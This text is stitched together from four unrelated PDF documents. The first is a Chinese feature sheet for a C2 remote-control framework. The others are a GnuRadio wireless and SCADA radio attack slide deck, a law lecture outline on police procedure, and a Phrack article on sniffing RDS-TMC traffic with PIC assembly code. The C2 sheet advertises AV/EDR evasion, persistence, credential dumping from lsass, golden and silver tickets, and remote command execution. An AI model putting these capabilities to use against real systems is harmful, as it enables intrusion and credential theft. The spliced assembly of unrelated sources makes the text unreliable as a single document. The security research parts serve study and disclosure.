1、 采用 C/T/B 架构,即 Controller(控制端)、TeamServer(服
务器端)、Beacon(客户端) 三端,支持多用户在线,并实
时共享所有信息。
2、 Controller 端发布的任务,支持同步和异步两种方式:同步方
式可以实时的执行任务和查看任务执行结果;异步方式,则可
以实现类似于离线任务的效果,即 Controller 可以一次性下达
多个任务,Beacon 端会依次取出任务执行并将结果返回给
TeamServer。
3、 使用 Profile 定制化通讯协议,降低被特征化的机率。
4、 除了基本的管理功能外,还拥有大量的、适用于各种环境的渗
透测试模块,用于高效地辅助渗透测试。
产品特性:
1、 具备更为详细的信息收集功能、运行时环境探测,以及域内网
渗透相关功能。
2、 加强了 AV/EDR 对抗能力,同时对静态以及动态两方面进行了
处理优化,有效规避了常见 AV/EDR 的检测,在低成本情况
下,无需用户进行二次处理,即可达到较高的 ABU(Anti、
Bypass、Undetectable) 效果。
3、 Beacon 端拥有很高的稳定性和兼容性,可在不同版本的
windows 操作系统上稳定运行。
4、 提供了两种 Beacon 端持久化的方式:新的 COM 劫持方法以
及更加隐蔽的计划任务。
5、 提供了两种 Beacon 端植入模式:Solo L&C,即“手动植入模
式”,主要用于已获得初始访问权(比如交互式 shell)的场景
下使用;Solo D4All,即“下载者模式”,主要用于获取初始访
问权的场景。
6、 提供了一种一次性使用 Beacon 的方式(RunOnce,单次运行
模式), 用于临时需要使用的场景。
7、 重构了内存中的 C2profile,有效规避了 AV/EDR 的内存扫
描。
功能列表:
1、 对目标网站进行 Clone,为后续攻击进行准备工作
2、 将 TeamServer 临时作为 WebServer 来使用,供远程下载文
件
3、 提供探针功能,刺探访问者系统、浏览器等信息
4、 提供模版类型的鱼叉式钓鱼功能
5、 提供 SOCKS 代理功能
6、 内网端口扫描
7、 屏幕截图
8、 文件管理功能
9、 进程管理功能
10、 将 teamserver 与控制端进行分离,防止 teamserver 被入侵或
teamserver 所在机器运行防病毒软件时,导致核心功能丢失
11、 对通讯进行二次加密,防止流量被监控,降低被检测风险。
12、 系统基本信息,包括 CPU 信息、内存信息、GPU 信息、用户
名、机器名、IP 地址、MAC 地址等基础信息。
13、 系统服务信息,枚举系统服务信息。
14、 补丁信息枚举,同时通过补丁信息列出对应的漏洞 CVE 编
号。
15、 CLR 版本检测,枚举目标机器上的 CLR 版本。
16、 EDR 检测,检测目标机器上的 EDR 信息,并列出其版本、对
应的服务、其所在目录等信息
17、 虚拟机检测,通过各方面,包括 BIOS 信息、内存大小、注册
表、分辨率、CPU 温度等各种信息,来判断目标系统是否为虚
拟机
18、 运行时安全检测,检测杀软基本信息以及系统补丁基本信息,
列出杀软的名称以及安装目录,系统安装的补丁以及安装时
间。
19、 软件信息检测,检测目标机器上所安装的软件信息,内容包
括:软件名、版本号、软件开发公司、安装时间、安装目录、
架构等基本信息。
20、 运行时权限检测,包括检测 applocker 选项、UAC 选项、
Token 权限信息
21、 网络连接信息,包括 4 方面:目标机器 DNS 缓存信息、ARP
协议连接信息、TCP 协议连接信息、UDP 协议连接信息
22、 本地 hash 提取
23、 本地明文密码提取
24、 RDP 明文密码提取
25、 通过 lsass 进程获取密码
26、 域内 hash 提取
27、 域内 tickets 提取
28、 通过 RDP 协议远程执行命令
29、 通过 DCOM 远程执行命令
30、 无文件远程命令执行
31、 通过 SMB 远程执行命令
32、 通过 WinRM 远程执行命令
33、 通过 WMI 远程执行命令
34、 黄金票据
35、 白金票据
36、 LDAP 查询域内基本信息,内置部分查询语句
37、 票据传递
38、 域内基本信息收集
39、 新增了自定义的 TeamServer 以及 C2Profile 生成器。本地数据
库保存,方便随时读取修改。
40、 新增了全版本通用的 BypassUAC 以及 GetSystem 功能,使用
smart inject 自动挑选最佳的注入进程与方式
41、 minidump 允许用户通过 PID 或进程名 dump 任意进程,并自
动加密压缩保存,允许用户自动下载,并配备对应解密工具。
42、 新的 Beacon 生成器。
对 beacon 做了全方位的 ABU(免杀)处理,极大增强了其对
抗 AV/EDR 的能力,并增加了如下三种运行模式。
<1>、Solo L&C 手动植入模式
由 Installer、Loader、Core 三端组成,需要手动进行安装等
操作,具备持久化能力。
适用于已拥有初始访问权(比如 webshell 或者反弹 shell),需
要对其进行持久化控制的场景。
注:三端模式主要是为了对抗云查杀,提高存活率。
<2>、Solo D4All 下载者模式(2.0.1 版本新增)
只有 Downloader 一个 DLL,可以自动化选择可联网进程,
并将对应平台版本的 Installer、Loader、Core 等核心文件拉
回到内存并执行,具备持久化能力。
注:下载者模式会自动连接到 team server 端拉取 beacon 核
心文件,主要用于打点或者横向移动。
<3>、RunOnce 单次运行模式
不具备持久化能力,主要用于需要临时上线操作的场景。
AV/EDR 测试结果:
AV/EDR 名称
静态免杀测试
动态免杀测试
Kaspersky
√
√
Avira Antivirus
√
√
McAfee
√
√
Norton
√
√
Windows Defender
√
√
火绒
√
√
ESET
√
√
趋势科技
√
√
avast
√
√
更新记录:
• 2.0 final 版本新增内容(2022/7/5)
o 通讯协议增加对 DNS、SMB 的支持。
o 回连模式中除了传统的 DNS 解析模式,新增了 URL 解
析模式,用于域名白名单封锁等场景。
o Beacon 新增运行时变形机制,极大增强其运行时(内
存)存活率。
o 优化现有的 EDR 对抗机制,增加了新的对抗手段,适用
性更加广泛。
o 增强进程注入机制,添加了新的绕过 EDR/HIPS 的注入
方式。
o 管理数据库中保存的功能执行结果。
o Beacon Builder 配置管理。
导出功能:将当前三种模式下的配置保存到 Json 文件中供
后续使用。
导入功能:将之前导出的配置文件导入到当前配置项。
保存功能:将当前配置保存到数据库,供下一次直接取
出。
o 新增导出函数克隆功能,可配合 lolbins 加载执行使用。
o 新增 c2profile 导入功能,暂支持由 TeamServer Builder
导出的 c2profile。
o Beacon Builder 新增 RunOnce 下 exploit 模式。
• 2.0.1 版本新增内容(2021/12/21)
o 增加了新的 ABU 特性,可绕过 beaconEye 和
cobaltstrikeScan 等通过 yara 规则对内存进行扫描的工具
以及最新版 Windows Defender 等 AV/EDR。
o 增加了新的植入模式:D4All(下载者模式),用于获取
初始访问权(打点)的场景。
o 优化 Controller 端代码,运行更加流畅。
o 优化 Beacon 端代码,增加了新的 EDR 对抗机制。 | pdf |
Hacking With GnuRadio
Hacking With GnuRadio
How to have fun with wireless transmissions!
David M. N. Bryan
David M. N. Bryan
●Info Security Consultant
Info Security Consultant
●CISSP
CISSP
●HAM
HAM
●Hacker
Hacker
●DEFCON
DEFCON
Hacker Spaces!!!
Hacker Spaces!!!
Thanks to CCCKC – Sweet Hacker Space!
Thanks to CCCKC – Sweet Hacker Space!
What is this?
What is this?
Is that a hot pack in your pocket?
Is that a hot pack in your pocket?
Physical Attack
Physical Attack
Physical Attack
Physical Attack
Physical Attack
Physical Attack
Counter Measures ?
Counter Measures ?
Mind the gap!
Mind the gap!
Disable the use of RTE
Disable the use of RTE
Crash bar
Crash bar
Push to exit
Push to exit
Hacking With GnuRadio
Hacking With GnuRadio
What is GnuRadio?
What is GnuRadio?
What you need
What you need
Requirements
Requirements
Costs
Costs
What is GnuRadio?
What is GnuRadio?
Software – Python = byte code = good!
Software – Python = byte code = good!
Hardware -
Hardware -
Universal Software Radio Peripheral
Universal Software Radio Peripheral
Field Programmable Gate Array
Field Programmable Gate Array
4 DAC
4 DAC
4 ADC
4 ADC
TX / RX Daughter boards from 0.1Mhz to 5.8Ghz
TX / RX Daughter boards from 0.1Mhz to 5.8Ghz
USRP v1.0
USRP v1.0
USRP Board
USRP Board
Daughter Boards
Daughter Boards
How Can I use it?
How Can I use it?
Get Hardware – USRP
Get Hardware – USRP
Install Ubuntu – or other Unix like OS
Install Ubuntu – or other Unix like OS
USRP Interface Requirements
USRP Interface Requirements
v1.0 USB 2.0
v1.0 USB 2.0
v2.0 Gigabit Ethernet
v2.0 Gigabit Ethernet
Why should I use it?
Why should I use it?
Wireless Signal Receiving and Generation
Wireless Signal Receiving and Generation
Circuit logic
Circuit logic
Oscillator
Oscillator
Other methods are painfully slow for prototyping
Other methods are painfully slow for prototyping
Cost
Cost
USRP1 $700
USRP1 $700
USRP2 $1400
USRP2 $1400
Daughter Boards $75-$400
Daughter Boards $75-$400
Screws/Case $20
Screws/Case $20
Not specifically FCC Part Licensed
Not specifically FCC Part Licensed
Owning your neighborhood SCADA- Priceless!
Owning your neighborhood SCADA- Priceless!
So what can we do with it?
Wireless Attacks
Wireless Attacks
RFID Payment Cards
RFID Payment Cards
Global System Mobile (GSM)
Global System Mobile (GSM)
Bluetooth (Frequency Hopping)
Bluetooth (Frequency Hopping)
Multiple Access System (MAS)
Multiple Access System (MAS)
RFID Attacks
RFID Attacks
RFID Tag reading
RFID Tag reading
Boston Subway Hacks
Boston Subway Hacks
MiFare Card Attacks
MiFare Card Attacks
Long Range Tag Reading
Long Range Tag Reading
GSM Attacks
GSM Attacks
wiki.thc.org – A5 GSM Cracking
wiki.thc.org – A5 GSM Cracking
Base station – call routing?
Base station – call routing?
Cell free zone?
Cell free zone?
Bluetooth Attacks
Bluetooth Attacks
Frequency Hopping Spread Spectrum
Frequency Hopping Spread Spectrum
Follow “hop” patterns
Follow “hop” patterns
USRP V2 Only – v1 lacks bandwidth
USRP V2 Only – v1 lacks bandwidth
Using 8 v2 USRPs
Using 8 v2 USRPs
MAS System
MAS System
Multiple Access System
Multiple Access System
Computer Applications in Power, IEEE
Computer Applications in Power, IEEE
Volume 5, Issue 4, Oct 1992 Page(s):29 - 32
Volume 5, Issue 4, Oct 1992 Page(s):29 - 32
Digital Object Identifier 10.1109/67.160043
Digital Object Identifier 10.1109/67.160043
Summary:The use of 900 MHz radio for
Summary:The use of 900 MHz radio for
supervisory control and data acquisition
supervisory control and data acquisition
applications was investigated by the Houston
applications was investigated by the Houston
Lighting and Power Company (HL&P). Multiple
Lighting and Power Company (HL&P). Multiple
address system applications in the 928/952
address system applications in the 928/952
MHz band were evaluated. (etc....)
MHz band were evaluated. (etc....)
MAS System Attacks
MAS System Attacks
Simple 1992's Repeater
Simple 1992's Repeater
Repeater
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Head End
Head End
MAS System Attacks
MAS System Attacks
Request Status
Request Status
Repeater
Omni
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Head End
Head End
Input Freq
MAS System Attacks
MAS System Attacks
Status Reply
Status Reply
Repeater
Omni
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Head End
Head End
Input Freq
MAS System Attacks
MAS System Attacks
Request Status
Request Status
Repeater
Omni
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Head End
Head End
Input Freq
Input Freq
Evil Hax0r
Evil Hax0r
MAS System Attacks
MAS System Attacks
Request Status
Request Status
Repeater
Omni
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Head End
Head End
Input Freq
Evil Hax0r
Evil Hax0r
Input Freq
USRP - First Attempt
USRP - First Attempt
MAS System Attacks
MAS System Attacks
Request Status
Request Status
Repeater
Omni
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Head End
Head End
Input Freq
Evil Hax0r
Evil Hax0r
Input Freq
USRP - Second Attempt
USRP - Second Attempt
MAS System Attacks
MAS System Attacks
Request Status
Request Status
Repeater
Omni
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Head End
Head End
Input Freq
Evil Hax0r
Evil Hax0r
Input Freq
USRP - Third Attempt
USRP - Third Attempt
USRP - Third Attempt
USRP - Third Attempt
USRP - Third Attempt
USRP - Third Attempt
USRP - Third Attempt
USRP - Third Attempt
USRP - Third Attempt
USRP - Third Attempt
USRP - Third Attempt
USRP - Third Attempt
MAS System Attacks
MAS System Attacks
Request Status
Request Status
Repeater
Omni
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Yagi Ant
Head End
Head End
Evil Hax0r
Evil Hax0r
Input Freq
MAS Radio Issues
MAS Radio Issues
Wide Open
Wide Open
No Authentication
No Authentication
No Integrity
No Integrity
Single In / Multiple Out “Repeater”
Single In / Multiple Out “Repeater”
Poor Design
Poor Design
MAS Radio Fixes
MAS Radio Fixes
Use encryption
Use encryption
Use 802.11 type networks
Use 802.11 type networks
Use routing protocol for link failures
Use routing protocol for link failures
Out of band management
Out of band management
Demo ?
Demo ?
How Can I Contribute?
How Can I Contribute?
Join a hacker space
Join a hacker space
Post
Post
Play
Play
Have Fun!
Have Fun!
Thank you!
Thank you!
My wife, Heather
My wife, Heather
References
References
www.gnuradio.org
www.gnuradio.org
http://www.ettus.com/
http://www.ettus.com/
www.ece.vt.edu/swe/chamrad/crdocs/CRTM09_060727_USRP.pdf
www.ece.vt.edu/swe/chamrad/crdocs/CRTM09_060727_USRP.pdf
http://www.gnu.org/software/gnuradio/doc/exploring-gnuradio.html
http://www.gnu.org/software/gnuradio/doc/exploring-gnuradio.html
http://www.blackhat.com/presentations/bh-europe-08/Steve-DHulton/Whitepaper/bh-eu-08-steve-dhulton-WP.pdf
http://www.blackhat.com/presentations/bh-europe-08/Steve-DHulton/Whitepaper/bh-eu-08-steve-dhulton-WP.pdf
http://dc4420.org/files/dominicgs/bluesniff_slides.pdf
http://dc4420.org/files/dominicgs/bluesniff_slides.pdf
http://www.rfidhackers.com/
http://www.rfidhackers.com/
http://en.wikipedia.org/wiki/Universal_Software_Radio_Peripheral
http://en.wikipedia.org/wiki/Universal_Software_Radio_Peripheral | pdf |
Police Criminal
Procedure
Professor
Steve
Dunker
When Can the Police Make a Stop?
An Officer MUST have either:
Reasonable Suspicion
OR
Probable Cause
Reasonable Suspicion
“Quantum of knowledge sufficient to induce
an ordinarily prudent and cautious man
under similar circumstances to believe
criminal activity is at hand” (Black’s)
25%+ sure
Probable Cause
“The facts and circumstances within the
officers’ knowledge and of which they had
reasonably trustworthy information are
sufficient in themselves to warrant a man of
reasonable caution in the belief that an
offense has been or is being committed.”
More than 50% sure
The Totality of the Circumstances
Look at All the information available
Such as:
Conduct of suspect
Incriminating evidence
Confessions or admissions
Unusual hour
Witnesses
Answers to questions
When can an officer “Frisk”
Reasonably believe criminal activity is
afoot. And
The suspect may be armed and dangerous
What is a “Frisk”
Pat-Down for weapons
Looking ONLY for weapons
“Plain touch” contraband may be seized.
When Must the Police Inform you of
Your Rights?
In Custody
Under Interrogation
Traffic stops do not require Miranda
What are your Rights?
Remain Silent
Any you say will be used against you
You have a right to an attorney
If you cannot afford an attorney one will be
appointed
Searches
What is a search?
Govt. Agent – Invasion of your privacy
Reasonable Expectation of Privacy
Search incident to an Arrest
A valid arrest allows for the search of the
person and of the area surrounding the
suspect.
Motor Vehicle Searches
Search of Automobile does not require a
warrant.
Probable cause is required
May examine all containers that could
contain evidence.
When can the police “Kick” your
door in without Knocking First?
Knock and Announce Required
Exceptions: Safety or Destruction of
evidence
The Exclusionary Rule
Court Rule Barring Use of Illegally
Obtained Evidence
Illegal search = No use of evidence in
Court.
Questions for the Criminal Justice
Professor……
Must be hypothetical
Hypothetical = Made-up, Make believe | pdf |
|=-----------------------------------------------------------------------=|
|=----------------------=[ Hijacking RDS-TMC Traffic ]=------------------=|
|=----------------------=[ Information signal ]=------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ By Andrea "lcars" Barisani ]=--------------=|
|=-----------------=[ <lcars_at_inversepath_dot_com> ]=--------------=|
|=-----------------=[ ]=--------------=|
|=-----------------=[ Daniele "danbia" Bianco ]=--------------=|
|=-----------------=[ <danbia_at_inversepath_dot_com> ]=--------------=|
|=-----------------------------------------------------------------------=|
--[ Contents
1. - Introduction
2. - Motivation
3. - RDS
4. - RDS-TMC
5. - Sniffing circuitry
6. - Simple RDS Decoder 0.1
7. - Injection circuitry
I. - References
II. - Links
--[ 1. Introduction
Modern Satellite Navigation systems use a recently developed standard
called RDS-TMC (Radio Data System - Traffic Message Channel) for receiving
traffic information over FM broadcast. The protocol allows communication of
traffic events such as accidents and queues. If information affects the
current route plotted by the user the information is used for calculating
and suggesting detours and alternate routes. We are going to show how to
receive and decode RDS-TMC packets using cheap homemade hardware, the goal
is understanding the protocol so that eventually we may show how trivial it
is to inject false information.
We also include the first release of our Simple RDS Decoder (srdsd is the
lazy name) which as far as we know is the first open source tool available
which tries to fully decode RDS-TMC messages. It's not restricted to
RDS-TMC since it also performs basic decoding of RDS messages.
The second part of the article will cover transmission of RDS-TMC messages,
satellite navigator hacking via TMC and its impact for social engineering
attacks.
--[ 2. Motivation
RDS has primarily been used for displaying broadcasting station names on FM
radios and give alternate frequencies, there has been little value other
than pure research and fun in hijacking it to display custom messages.
However, with the recent introduction of RDS-TMC throughout Europe we are
seeing valuable data being transmitted over FM that actively affects SatNav
operations and eventually the driver's route choice. This can
have very important social engineering consequences. Additionally, RDS-TMC
messages can be an attack vector against SatNav parsing capabilities.
Considering the increasing importance of these system's role in car
operation (which are no longer strictly limited to route plotting anymore)
and their human interaction they represent an interesting target combined
with the "cleartext" and un-authenticated nature of RDS/RDS-TMC messages.
We'll explore the security aspects in Part II.
--[ 3. RDS
The Radio Data System standard is widely adopted on pretty much every
modern FM radio, 99.9% of all car FM radio models feature RDS nowadays.
The standard is used for transmitting data over FM broadcasts and RDS-TMC
is a subset of the type of messages it can handle. The RDS standard is
described in the European Standard 50067.
The most recognizable data transmitted over RDS is the station name which
is often shown on your radio display, other information include alternate
frequencies for the station (that can be tried when the signal is lost),
descriptive information about the program type, traffic announcements (most
radio can be set up to interrupt CD and/or tape playing and switch to radio
when a traffic announcement is detected), time and date and many more
including TMC messages.
In a FM transmission the RDS signal is transmitted on a 57k subcarrier in
order to separate the data channel from the Mono and/or Stereo audio.
FM Spectrum:
Mono Pilot Tone Stereo (L-R) RDS Signal
^ ^ ^ ^ ^^
|||||||||| | |||||||||| |||||||||| ||
|||||||||| | |||||||||| |||||||||| ||
|||||||||| | |||||||||| |||||||||| ||
|||||||||| | |||||||||| |||||||||| ||
|||||||||| | |||||||||| |||||||||| ||
--------------------------------------------------------------------------
19k 23k 38k 53k 57k Freq (Hz)
The RDS signal is sampled against a clock frequency of 1.11875 kHz, this
means that the data rate is 1187.5 bit/s (with a maximum deviation of +/-
0.125 bit/s).
The wave amplitude is decoded in a binary representation so the actual data
stream will be friendly '1' and '0'.
The RDS smallest "packet" is called a Block, 4 Blocks represent a Group.
Each
Block has 26 bits of information making a Group 104 bits large.
Group structure (104 bits):
---------------------------------------
| Block 1 | Block 2 | Block 3 | Block 4 |
---------------------------------------
Block structure (26 bits):
---------------- ---------------------
| Data (16 bits) | Checkword (10 bits) |
---------------- ---------------------
The Checkword is a checksum included in every Block computed for error
protection, the very nature of analog radio transmission introduces many
errors in data streams. The algorithm used is fully specified in the
standard and it doesn't concern us for the moment.
Here's a representation of the most basic RDS Group:
Block 1:
--------------------- PI code = 16 bits
| PI code | Checkword | Checkword = 10 bits
---------------------
Block 2: Group code = 4 bits
B0 = 1 bit
--------------------------------------------------- TP = 1 bit
| Group code | B0 | TP | PTY | <5 bits> | Checkword | PTY = 5 bits
--------------------------------------------------- Checkword = 10 bits
Block 3:
------------------ Data = 16 bits
| Data | Checkword | Checkword = 10 bits
------------------
Block 4:
------------------ Data = 16 bits
| Data | Checkword | Checkword = 10 bits
------------------
The PI code is the Programme Identification code, it identifies the radio
station that's transmitting the message. Every broadcaster has a unique
assigned code.
The Group code identifies the type of message being transmitted as RDS can
be used for transmitting several different message formats. Type 0A (00000)
and 0B (00001) for instance are used for tuning information. RDS-TMC
messages are transmitted in 8A (10000) groups. Depending on the Group type
the remaining 5 bits of Block 2 and the Data part of Block 3 and Block 4
are used according to the relevant Group specification.
The 'B0' bit is the version code, '0' stands for RDS version A, '1' stands
for RDS version B.
The TP bit stands for Traffic Programme and identifies if the station is
capable of sending traffic announcements (in combination with the TA code
present in 0A, 0B, 14B, 15B type messages), it has nothing to do with
RDS-TMC and it refers to audio traffic announcements only.
The PTY code is used for describing the Programme Type, for instance code 1
(converted in decimal from its binary representation) is 'News' while code
4 is 'Sport'.
--[ 4. RDS-TMC
Traffic Message Channel packets carry information about traffic events,
their location and the duration of the event. A number of lookup tables are
being used to correlate event codes to their description and location
codes to the GPS coordinates, those tables are expected to be present in
our SatNav memory. The RDS-TMC standard is described in International
Standard (ISO) 14819-1.
All the most recent SatNav systems supports RDS-TMC to some degree, some
systems requires purchase of an external antenna in order to correctly
receive
the signal, modern ones integrated in the car cockpit uses the existing FM
antenna used by the radio system. The interface of the SatNav allows
display of the list of received messages and prompts detours upon events
that affect the current route.
TMC packets are transmitted as type 8A (10000) Groups and they can be
divided in two categories: Single Group messages and Multi Group messages.
Single Group messages have bit number 13 of Block 2 set to '1', Multi Group
messages have bit number 13 of Block 2 set to '0'.
Here's a Single Group RDS-TMC message:
Block 1:
--------------------- PI code = 16 bits
| PI code | Checkword | Checkword = 10 bits
---------------------
Block 2: Group code = 4 bits
B0 = 1 bit
----------------------------------------------------- TP = 1 bit
| Group code | B0 | TP | PTY | T | F | DP | Checkword | PTY = 5 bits
----------------------------------------------------- Checkword = 10 bits
T = 1 bit DP = 3 bits
F = 1 bit
Block 3: D = 1 bit
PN = 1 bit
------------------------------------- Extent = 3 bits
| D | PN | Extent | Event | Checkword | Event = 11 bits
------------------------------------- Checkword = 10 bits
Block 4:
---------------------- Location = 16 bits
| Location | Checkword | Checkword = 10 bits
----------------------
We can see the usual data which we already discussed for RDS as well as new
information (the <5 bits> are now described).
We already mentioned the 'F' bit, it's bit number 13 of Block 2 and it
identifies the message as a Single Group (F = 1) or Multi Group (F = 0).
The 'T', 'F' and 'D' bits are used in Multi Group messages for identifying
if
this is the first group (TFD = 001) or a subsequent group (TFD = 000) in the
stream.
The 'DP' bit stands for duration and persistence, it contains information
about the timeframe of the traffic event so that the client can
automatically flush old ones.
The 'D' bit tells the SatNav if diversion advice needs to be prompted or
not.
The 'PN' bit (Positive/Negative) indicates the direction of queue events,
it's opposite to the road direction since it represent the direction of the
growth of a queue (or any directional event).
The 'Extent' data shows the extension of the current event, it is measured
in terms of nearby Location Table entries.
The 'Event' part contains the 11 bit Event code, which is looked up on the
local Event Code table stored on the SatNav memory. The 'Location' part
contains the 16 bit Location code which is looked up against the Location
Table database, also stored on your SatNav memory, some countries allow a
free download of the Location Table database (like Italy[1]).
Multi Group messages are a sequence of two or more 8A groups and can
contain additional information such as speed limit advices and
supplementary information.
--[ 5. Sniffing circuitry
Sniffing RDS traffic basically requires three components:
1. FM radio with MPX output
2. RDS signal demodulator
3. RDS protocol decoder
The first element is a FM radio receiver capable of giving us a signal that
has not already been demodulated in its different components since we need
access to the RDS subcarrier (and an audio only output would do no good).
This kind of "raw" signal is called MPX (Multiplex). The easiest way to get
such signal is to buy a standard PCI Video card that carries a tuner
which has a MPX pin that we can hook to.
One of these tuners is Philips FM1216[2] (available in different
"flavours", they all do the trick) which provides pin 25 for this purpose.
It's relatively easy to identify a PCI Video card that uses this tuner, we
used the WinFast DV2000. An extensive database[3] is available.
Once we get the MPX signal it can then be connect to a RDS signal
demodulator which will perform the de-modulation and gives us parsable
data. Our choice is ST Microelectronics TDA7330B[4], a commercially
available chip used in most radio capable of RDS de-modulation. Another
possibility could be the Philips SAA6579[5], it offers the same
functionality of the TDA7330, pinning might differ.
Finally we use custom PIC (Peripheral Interface Controller) for preparing
and sending the information generated by the TDA7330 to something that we
can understand and use, like a standard serial port.
The PIC brings DATA, QUAL and CLOCK from demodulator and "creates" a
stream good enough to be sent to the serial port. Our PIC uses only two
pins of the serial port (RX - RTS), it prints out ascii '0' and '1'
clocked at 19200 baud rate with one start bit and two stop bits, no parity
bit is used.
As you can see the PIC makes our life easier, in order to see the raw
stream we only have to connect the circuit and attach a terminal to the
serial port, no particular driver is needed. The PIC we use is a PIC 16F84,
this microcontroller is cheap and easy to work with (its assembly has only
35 instructions), furthermore a programmer for setting up the chip can be
easily bought or assembled. If you want to build your own programmer a good
choice would be uJDM[6], it's one of the simplest PIC programmers available
(it is a variation of the famous JDM programmer).
At last we need to convert signals from the PIC to RS232 compatible signal
levels. This is needed because the PIC and other integrated circuits works
under TTL (Transistor to Transistor Logic - 0V/+5V), whereas serial port
signal levels are -12V/+12V. The easiest approach for converting the signal
is using a Maxim RS-232[7]. It is a specialized driver and receiver
integrated circuit used to convert between TTL logic levels and RS-232
compatible signal levels.
Here's the diagram of the setup:
\ /
\ /
|
|
| [ RDS - Demodulator ]
| *diagram*
______________[ ]__
|- || |=-
|- || F T |=-
|- || M U |=-
P |- || 1 N |=-
C |- || 2 E |=-
I |- || 1 R |=-
|- || 6 |=- 1 _______ 20
B | ||________|=- --------> MPX ---> MUXIN -|. U |-
u |- | pin 25 -| |-
s |- | AF sound output -| T |-
|- | -| D |-
|- | -| A |-
|- | -| 7 |-
|- | -| 3 |- QUAL______
|- | -| 3 |- DATA____ |
|- | -| 0 |- CLOCK_ | |
|___________________| -|_______|- | | V
10 11 | V |
_______________________________________________________________V | |
| ___________________________________________________________| |
| ___|_____________________________________________________________|
| | |
| | | 1 _______ 18
V | V x -|. u |- -> data out (to rs232)______________
| V | x -| |- -> rts out (to rs232)____________ |
| | _| x -| 1 |- <- osc1 / clkin | |
| | | MCLR -> -| 6 |- -> OSC2 / CLKOUT | V
| | | Vss (gnd) -> -| F |- <- Vdd (+5V) V |
| | |_____ DATA -> -| 8 |- x | |
| |_______ QUAL -> -| 4 |- x | |
|________ CLOCK -> -| |- x | |
x -|_______|- x | |
9 10 | |
______________________________ | |
Serial Port | 1 _______ 16 | | |
(DB9 connector) | -|. U |- ^ | |
______________ | -| |- | | |
| RX - pin2 | | -| R |- RTS _| | |
____V________ | | -| S |- V |
| . o . . . | | | -| 2 |- | V
\ . o . . / | | -| 3 |- <- _____| |
--------- |_________|____ <- DATA -| 2 |- <- _______|
^ RTS - pin 7 | -|_______|-
|_______________________| 8 9
Here's the commented assembler code for our PIC:
;
; Copyright 2007 Andrea Barisani <[email protected]>
; Daniele Bianco <[email protected]>
;
; Permission to use, copy, modify, and distribute this software for any
; purpose with or without fee is hereby granted, provided that the above
; copyright notice and this permission notice appear in all copies.
;
; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
; WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
; MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
; ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
; WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
; ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
; OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
;
; Pin diagram:
;
; 1 _______ 18
; x -|. U |- -> DATA out (to RS232)
; x -| |- -> RTS out (to RS232)
; x -| 1 |- <- OSC1 / CLKIN
; MCLR -> -| 6 |- -> OSC2 / CLKOUT
; Vss (gnd) -> -| F |- <- Vdd (+5V)
; DATA -> -| 8 |- x
; QUAL -> -| 4 |- x
; CLOCK -> -| |- x
; x -|_______|- x
; 9 10
;
; Connection description:
;
; pin 4 : MCLR (it must be connected to Vdd through a resistor
; to prevent PIC reset - 10K is a good resistor)
; pin 5 : Vss (directly connected to gnd)
;
; pin 6 : DATA input (directly connected to RDS demodulator DATA out)
; pin 7 : QUAL input (directly connected to RDS demodulator QUAL out)
; pin 8 : CLOCK input (directly connected to RDS demodulator CLOCK out)
;
; pin 14: Vdd (directly connected to +5V)
; pin 15: OSC2 / CLKOUT (connected to an 2.4576 MHz oscillator crystal* )
; pin 16: OSC1 / CLKIN (connected to an 2.4576 MHz oscillator crystal* )
;
; pin 17: RTS output (RS232 - ''RTS'' pin 7 on DB9 connector** )
; pin 18: DATA output (RS232 - ''RX'' pin 2 on DB9 connector** )
;
; pin 1,2,3,9,10,11,12,13: unused
;
; *)
; We can connect the oscillator crystal to the PIC using this simple
; circuit:
;
; C1 (15-33 pF)
; ____||____ ______ OSC1 / CLKIN
; | || |
; | ___
; gnd ---| = XTAL (2.4576 MHz)
; | ---
; |____||____|______
; || OSC2 / CLKOUT
; C2 (15-33 pF)
; **)
; We have to convert signals TTL <-> RS232 before we send/receive them
; to/from the serial port.
; Serial terminal configuration:
; 8-N-2 (8 data bits - No parity - 2 stop bits)
;
; HARDWARE CONF -----------------------
PROCESSOR 16f84
RADIX DEC
INCLUDE "p16f84.inc"
ERRORLEVEL -302 ; suppress warnings for bank1
__CONFIG 1111111110001b ; Code Protection disabled
; Power Up Timer enabled
; WatchDog Timer disabled
; Oscillator type XT
; -------------------------------------
; DEFINE ------------------------------
#define Bank0 bcf STATUS, RP0 ; activates bank 0
#define Bank1 bsf STATUS, RP0 ; activates bank 1
#define Send_0 bcf PORTA, 1 ; send 0 to RS232 RX
#define Send_1 bsf PORTA, 1 ; send 1 to RS232 RX
#define Skip_if_C btfss STATUS, C ; skip if C FLAG is set
#define RTS PORTA, 0 ; RTS pin RA0
#define RX PORTA, 1 ; RX pin RA1
#define DATA PORTB, 0 ; DATA pin RB0
#define QUAL PORTB, 1 ; QUAL pin RB1
#define CLOCK PORTB, 2 ; CLOCK pin RB2
RS232_data equ 0x0C ; char to transmit to RS232
BIT_counter equ 0x0D ; n. of bits to transmit to RS232
RAW_data equ 0x0E ; RAW data (from RDS demodulator)
dummy_counter equ 0x0F ; dummy counter... used for delays
; -------------------------------------
; BEGIN PROGRAM CODE ------------------
ORG 000h
InitPort
Bank1 ; select bank 1
movlw 00000000b ; RA0-RA4 output
movwf TRISA ;
